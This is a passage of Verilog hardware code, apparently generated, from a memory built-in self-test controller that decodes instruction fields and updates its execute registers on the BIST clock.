EXECUTE_OP_SELECT_CMD_REG0 <= NEXT_OP_SELECT_CMD[0];
end
end
// [end] : OperationSelect }}}
//------------------------
//-- Add_Reg_A_Equals_B --
//------------------------
// [start] : Add_Reg_A_Equals_B {{{
assign A_EQUALS_B_INVERT_DATA = {
1'b0,
1'b0
};
// [start] : instruction field {{{
assign NEXT_A_EQUALS_B_INVERT_DATA = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[4:3] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[4:3] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[4:3] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[4:3] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[4:3] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[4:3] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[4:3] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[4:3] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[4:3] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[4:3] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[4:3] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[4:3] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[4:3] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[4:3] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[4:3] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[4:3] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[4:3] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[4:3] :
INSTRUCTION18[4:3] ;
// [end] : instruction field }}}
// [end] : Add_Reg_A_Equals_B }}}
//------------------
//-- Y1AddressCmd --
//------------------
// [start] : Y1AddressCmd {{{
assign ADD_Y1_CMD = {
1'b0,
EXECUTE_ADD_Y1_CMD_REG1,
EXECUTE_ADD_Y1_CMD_REG0
};
// [start] : instruction field {{{
assign NEXT_ADD_Y1_CMD = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[7:5] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[7:5] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[7:5] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[7:5] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[7:5] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[7:5] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[7:5] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[7:5] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[7:5] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[7:5] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[7:5] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[7:5] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[7:5] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[7:5] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[7:5] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[7:5] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[7:5] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[7:5] :
INSTRUCTION18[7:5] ;
// [end] : instruction field }}}
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
EXECUTE_ADD_Y1_CMD_REG1 <= 1'b0;
EXECUTE_ADD_Y1_CMD_REG0 <= 1'b0;
end else
if (RESET_REG_SETUP2) begin
EXECUTE_ADD_Y1_CMD_REG1 <= INSTRUCTION0[6];
EXECUTE_ADD_Y1_CMD_REG0 <= INSTRUCTION0[5];
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
EXECUTE_ADD_Y1_CMD_REG1 <= NEXT_ADD_Y1_CMD[1];
EXECUTE_ADD_Y1_CMD_REG0 <= NEXT_ADD_Y1_CMD[0];
end
end
end
// [end] : Y1AddressCmd }}}
//------------------
//-- X1AddressCmd --
//------------------
// [start] : X1AddressCmd {{{
assign ADD_X1_CMD = {
1'b0,
EXECUTE_ADD_X1_CMD_REG1,
EXECUTE_ADD_X1_CMD_REG0
};
// [start] : instruction field {{{
assign NEXT_ADD_X1_CMD = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[10:8] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[10:8] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[10:8] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[10:8] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[10:8] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[10:8] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[10:8] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[10:8] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[10:8] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[10:8] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[10:8] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[10:8] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[10:8] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[10:8] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[10:8] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[10:8] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[10:8] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[10:8] :
INSTRUCTION18[10:8] ;
// [end] : instruction field }}}
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
EXECUTE_ADD_X1_CMD_REG1 <= 1'b0;
EXECUTE_ADD_X1_CMD_REG0 <= 1'b0;
end else
if (RESET_REG_SETUP2) begin
EXECUTE_ADD_X1_CMD_REG1 <= INSTRUCTION0[9];
EXECUTE_ADD_X1_CMD_REG0 <= INSTRUCTION0[8];
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
EXECUTE_ADD_X1_CMD_REG1 <= NEXT_ADD_X1_CMD[1];
EXECUTE_ADD_X1_CMD_REG0 <= NEXT_ADD_X1_CMD[0];
end
end
end
// [end] : X1AddressCmd }}}
//----------------------
//-- AddressSelectCmd --
//----------------------
// [start] : AddressSelectCmd {{{
assign ADD_REG_SELECT = {
1'b0,
EXECUTE_ADD_REG_SELECT_REG1,
1'b0
};
// [start] : instruction field {{{
assign NEXT_ADD_REG_SELECT = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[13:11] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[13:11] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[13:11] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[13:11] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[13:11] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[13:11] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[13:11] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[13:11] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[13:11] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[13:11] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[13:11] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[13:11] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[13:11] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[13:11] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[13:11] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[13:11] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[13:11] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[13:11] :
INSTRUCTION18[13:11] ;
// [end] : instruction field }}}
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
EXECUTE_ADD_REG_SELECT_REG1 <= 1'b0;
end else
if (RESET_REG_SETUP2) begin
EXECUTE_ADD_REG_SELECT_REG1 <= INSTRUCTION0[12];
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
EXECUTE_ADD_REG_SELECT_REG1 <= NEXT_ADD_REG_SELECT[1];
end
end
end
// [end] : AddressSelectCmd }}}
//------------------
//-- WriteDataCmd --
//------------------
// [start] : WriteDataCmd {{{
assign WDATA_CMD = {
EXECUTE_WDATA_CMD_REG3,
1'b0,
EXECUTE_WDATA_CMD_REG1,
EXECUTE_WDATA_CMD_REG0
};
// [start] : instruction field {{{
assign NEXT_WDATA_CMD = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[17:14] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[17:14] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[17:14] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[17:14] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[17:14] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[17:14] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[17:14] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[17:14] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[17:14] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[17:14] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[17:14] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[17:14] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[17:14] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[17:14] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[17:14] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[17:14] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[17:14] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[17:14] :
INSTRUCTION18[17:14] ;
// [end] : instruction field }}}
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
EXECUTE_WDATA_CMD_REG3 <= 1'b0;
EXECUTE_WDATA_CMD_REG1 <= 1'b0;
EXECUTE_WDATA_CMD_REG0 <= 1'b0;
end else
if (RESET_REG_SETUP2) begin
EXECUTE_WDATA_CMD_REG3 <= INSTRUCTION0[17];
EXECUTE_WDATA_CMD_REG1 <= INSTRUCTION0[15];
EXECUTE_WDATA_CMD_REG0 <= INSTRUCTION0[14];
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
EXECUTE_WDATA_CMD_REG3 <= NEXT_WDATA_CMD[3];
EXECUTE_WDATA_CMD_REG1 <= NEXT_WDATA_CMD[1];
EXECUTE_WDATA_CMD_REG0 <= NEXT_WDATA_CMD[0];
end
end
end
// [end] : WriteDataCmd }}}
//-------------------
//-- ExpectDataCmd --
//-------------------
// [start] : ExpectDataCmd {{{
assign EDATA_CMD = {
EXECUTE_EDATA_CMD_REG3,
1'b0,
EXECUTE_EDATA_CMD_REG1,
EXECUTE_EDATA_CMD_REG0
};
// [start] : instruction field {{{
assign NEXT_EDATA_CMD = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[21:18] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[21:18] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[21:18] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[21:18] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[21:18] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[21:18] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[21:18] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[21:18] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[21:18] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[21:18] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[21:18] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[21:18] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[21:18] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[21:18] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[21:18] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[21:18] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[21:18] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[21:18] :
INSTRUCTION18[21:18] ;
// [end] : instruction field }}}
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
EXECUTE_EDATA_CMD_REG3 <= 1'b0;
EXECUTE_EDATA_CMD_REG1 <= 1'b0;
EXECUTE_EDATA_CMD_REG0 <= 1'b0;
end else
if (RESET_REG_SETUP2) begin
EXECUTE_EDATA_CMD_REG3 <= INSTRUCTION0[21];
EXECUTE_EDATA_CMD_REG1 <= INSTRUCTION0[19];
EXECUTE_EDATA_CMD_REG0 <= INSTRUCTION0[18];
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
EXECUTE_EDATA_CMD_REG3 <= NEXT_EDATA_CMD[3];
EXECUTE_EDATA_CMD_REG1 <= NEXT_EDATA_CMD[1];
EXECUTE_EDATA_CMD_REG0 <= NEXT_EDATA_CMD[0];
end
end
end
// [end] : ExpectDataCmd }}}
//-------------
//-- LoopCmd --
//-------------
// [start] : LoopCmd {{{
assign LOOP_CMD = {
EXECUTE_LOOP_CMD_REG1,
EXECUTE_LOOP_CMD_REG0
};
// [start] : instruction field {{{
assign NEXT_LOOP_CMD = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[23:22] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[23:22] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[23:22] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[23:22] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[23:22] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[23:22] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[23:22] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[23:22] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[23:22] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[23:22] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[23:22] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[23:22] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[23:22] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[23:22] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[23:22] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[23:22] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[23:22] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[23:22] :
INSTRUCTION18[23:22] ;
// [end] : instruction field }}}
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
EXECUTE_LOOP_CMD_REG1 <= 1'b0;
EXECUTE_LOOP_CMD_REG0 <= 1'b0;
end else
if (RESET_REG_SETUP2) begin
EXECUTE_LOOP_CMD_REG1 <= INSTRUCTION0[23];
EXECUTE_LOOP_CMD_REG0 <= INSTRUCTION0[22];
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
EXECUTE_LOOP_CMD_REG1 <= NEXT_LOOP_CMD[1];
EXECUTE_LOOP_CMD_REG0 <= NEXT_LOOP_CMD[0];
end
end
end
// [end] : LoopCmd }}}
//------------------------
//-- InhibitDataCompare --
//------------------------
// [start] : InhibitDataCompare {{{
assign INH_DATA_CMP = EXECUTE_INH_DATA_CMP_REG0;
// [start] : instruction field {{{
assign NEXT_INH_DATA_CMP = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[25:25] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[25:25] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[25:25] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[25:25] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[25:25] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[25:25] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[25:25] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[25:25] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[25:25] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[25:25] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[25:25] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[25:25] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[25:25] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[25:25] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[25:25] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[25:25] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[25:25] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[25:25] :
INSTRUCTION18[25:25] ;
// [end] : instruction field }}}
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
EXECUTE_INH_DATA_CMP_REG0 <= 1'b0;
end else
if (RESET_REG_SETUP2) begin
EXECUTE_INH_DATA_CMP_REG0 <= INSTRUCTION0[25];
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
EXECUTE_INH_DATA_CMP_REG0 <= NEXT_INH_DATA_CMP;
end
end
end
// [end] : InhibitDataCompare }}}
//-----------------
//-- CounterACmd --
//-----------------
// [start] : CounterACmd {{{
assign COUNTERA_CMD = 1'b0;
// [start] : instruction field {{{
assign NEXT_COUNTERA_CMD = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[26:26] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[26:26] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[26:26] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[26:26] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[26:26] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[26:26] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[26:26] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[26:26] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[26:26] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[26:26] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[26:26] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[26:26] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[26:26] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[26:26] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[26:26] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[26:26] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[26:26] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[26:26] :
INSTRUCTION18[26:26] ;
// [end] : instruction field }}}
// [end] : CounterACmd }}}
//-------------------------
//-- BranchToInstruction --
//-------------------------
// [start] : BranchToInstruction {{{
assign BRANCH_POINTER = {
EXECUTE_BRANCH_POINTER_REG4,
EXECUTE_BRANCH_POINTER_REG3,
EXECUTE_BRANCH_POINTER_REG2,
EXECUTE_BRANCH_POINTER_REG1,
EXECUTE_BRANCH_POINTER_REG0
};
// [start] : instruction field {{{
assign NEXT_BRANCH_POINTER = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[31:27] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[31:27] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[31:27] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[31:27] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[31:27] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[31:27] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[31:27] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[31:27] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[31:27] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[31:27] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[31:27] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[31:27] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[31:27] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[31:27] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[31:27] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[31:27] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[31:27] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[31:27] :
INSTRUCTION18[31:27] ;
// [end] : instruction field }}}
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
EXECUTE_BRANCH_POINTER_REG4 <= 1'b0;
EXECUTE_BRANCH_POINTER_REG3 <= 1'b0;
EXECUTE_BRANCH_POINTER_REG2 <= 1'b0;
EXECUTE_BRANCH_POINTER_REG1 <= 1'b0;
EXECUTE_BRANCH_POINTER_REG0 <= 1'b0;
end else
if (RESET_REG_SETUP2) begin
EXECUTE_BRANCH_POINTER_REG4 <= INSTRUCTION0[31];
EXECUTE_BRANCH_POINTER_REG3 <= INSTRUCTION0[30];
EXECUTE_BRANCH_POINTER_REG2 <= INSTRUCTION0[29];
EXECUTE_BRANCH_POINTER_REG1 <= INSTRUCTION0[28];
EXECUTE_BRANCH_POINTER_REG0 <= INSTRUCTION0[27];
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
EXECUTE_BRANCH_POINTER_REG4 <= NEXT_BRANCH_POINTER[4];
EXECUTE_BRANCH_POINTER_REG3 <= NEXT_BRANCH_POINTER[3];
EXECUTE_BRANCH_POINTER_REG2 <= NEXT_BRANCH_POINTER[2];
EXECUTE_BRANCH_POINTER_REG1 <= NEXT_BRANCH_POINTER[1];
EXECUTE_BRANCH_POINTER_REG0 <= NEXT_BRANCH_POINTER[0];
end
end
end
// [end] : BranchToInstruction }}}
//--------------------
//-- NextConditions --
//--------------------
// [start] : NextConditions {{{
assign NEXT_CONDITIONS = {
EXECUTE_NEXT_CONDITIONS_REG3, // NC0_REPEATLOOP_ENDCOUNT
1'b0, // NC0_COUNTERA_ENDCOUNT
EXECUTE_NEXT_CONDITIONS_REG1, // NC0_X1_ENDCOUNT
EXECUTE_NEXT_CONDITIONS_REG0 // NC0_Y1_ENDCOUNT
};
// [start] : instruction field {{{
assign NEXT_CONDITIONS_FIELD = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[35:32] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[35:32] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[35:32] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[35:32] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[35:32] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[35:32] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[35:32] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[35:32] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[35:32] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[35:32] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[35:32] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[35:32] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[35:32] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[35:32] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[35:32] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[35:32] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[35:32] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[35:32] :
INSTRUCTION18[35:32] ;
// [end] : instruction field }}}
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN) begin
EXECUTE_NEXT_CONDITIONS_REG3 <= 1'b0;
EXECUTE_NEXT_CONDITIONS_REG1 <= 1'b0;
EXECUTE_NEXT_CONDITIONS_REG0 <= 1'b0;
end else
if (RESET_REG_SETUP2) begin
EXECUTE_NEXT_CONDITIONS_REG3 <= INSTRUCTION0[35];
EXECUTE_NEXT_CONDITIONS_REG1 <= INSTRUCTION0[33];
EXECUTE_NEXT_CONDITIONS_REG0 <= INSTRUCTION0[32];
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
EXECUTE_NEXT_CONDITIONS_REG3 <= NEXT_CONDITIONS_FIELD[3];
EXECUTE_NEXT_CONDITIONS_REG1 <= NEXT_CONDITIONS_FIELD[1];
EXECUTE_NEXT_CONDITIONS_REG0 <= NEXT_CONDITIONS_FIELD[0];
end
end
end
// [end] : NextConditions }}}
//-----------------------------
//-- InhibitLastAddressCount --
//-----------------------------
// [start] : InhibitLastAddressCount {{{
assign INH_LAST_ADDR_CNT = (LOOP_STATE_TRUE_INT | NEXT_STATE_TRUE) & 1'b0;
// [start] : instruction field {{{
assign NEXT_INH_LAST_ADDR_CNT = (NEXT_POINTER == 5'b00000) ? INSTRUCTION0[24:24] :
(NEXT_POINTER == 5'b00001) ? INSTRUCTION1[24:24] :
(NEXT_POINTER == 5'b00010) ? INSTRUCTION2[24:24] :
(NEXT_POINTER == 5'b00011) ? INSTRUCTION3[24:24] :
(NEXT_POINTER == 5'b00100) ? INSTRUCTION4[24:24] :
(NEXT_POINTER == 5'b00101) ? INSTRUCTION5[24:24] :
(NEXT_POINTER == 5'b00110) ? INSTRUCTION6[24:24] :
(NEXT_POINTER == 5'b00111) ? INSTRUCTION7[24:24] :
(NEXT_POINTER == 5'b01000) ? INSTRUCTION8[24:24] :
(NEXT_POINTER == 5'b01001) ? INSTRUCTION9[24:24] :
(NEXT_POINTER == 5'b01010) ? INSTRUCTION10[24:24] :
(NEXT_POINTER == 5'b01011) ? INSTRUCTION11[24:24] :
(NEXT_POINTER == 5'b01100) ? INSTRUCTION12[24:24] :
(NEXT_POINTER == 5'b01101) ? INSTRUCTION13[24:24] :
(NEXT_POINTER == 5'b01110) ? INSTRUCTION14[24:24] :
(NEXT_POINTER == 5'b01111) ? INSTRUCTION15[24:24] :
(NEXT_POINTER == 5'b10000) ? INSTRUCTION16[24:24] :
(NEXT_POINTER == 5'b10001) ? INSTRUCTION17[24:24] :
INSTRUCTION18[24:24] ;
// [end] : instruction field }}}
// [end] : InhibitLastAddressCount }}}
assign LOOP_STATE_TRUE = LOOP_STATE_TRUE_INT;
//--------------------
//-- LoopConditions --
//--------------------
// [start] : LoopConditions {{{
assign LOOP_CONDITIONS = {
1'b0, // NC0_COUNTERA_ENDCOUNT
EXECUTE_NEXT_CONDITIONS_REG1, // NC0_X1_ENDCOUNT
EXECUTE_NEXT_CONDITIONS_REG0 // NC0_Y1_ENDCOUNT
};
// [end] : LoopConditions }}}
assign SO = INST_POINTER_SO;
assign NEXT_POINTER = (MEM_RST == 1'b1 & INST_POINTER == 5'b00100) ? 5'b01100 :
(ALGO_MODE == 2'b10 & INST_POINTER == 5'b00000) ? 5'b00111 :
(ALGO_MODE == 2'b11 & INST_POINTER == 5'b00000) ? 5'b01000 :
NEXT_POINTER_INT ;
assign NEXT_POINTER_INT = (NEXT_STATE_TRUE) ? INC_POINTER(INST_POINTER) :
(LOOP_STATE_TRUE_INT) ? LOOP_POINTER :
BRANCH_POINTER ;
assign NEXT_STATE_TRUE = (NEXT_CONDITIONS == (NEXT_TRIGGERS & NEXT_CONDITIONS)) ;
assign NEXT_TRIGGERS = {LOOPCOUNTMAX_TRIGGER,
COUNTERA_ENDCOUNT_TRIGGER,
X1_MINMAX_TRIGGER,
Y1_MINMAX_TRIGGER};
assign LOOP_STATE_TRUE_INT = ((NEXT_CONDITIONS[3] == 1'b1) &&
(LOOP_CONDITIONS == (LOOP_TRIGGERS & LOOP_CONDITIONS))) ;
assign LOOP_TRIGGERS = {COUNTERA_ENDCOUNT_TRIGGER,
X1_MINMAX_TRIGGER,
Y1_MINMAX_TRIGGER};
always @(INST_POINTER or ALGO_MODE or NEXT_STATE_TRUE or BIST_RUN or MEM_RST) begin
case (ALGO_MODE)
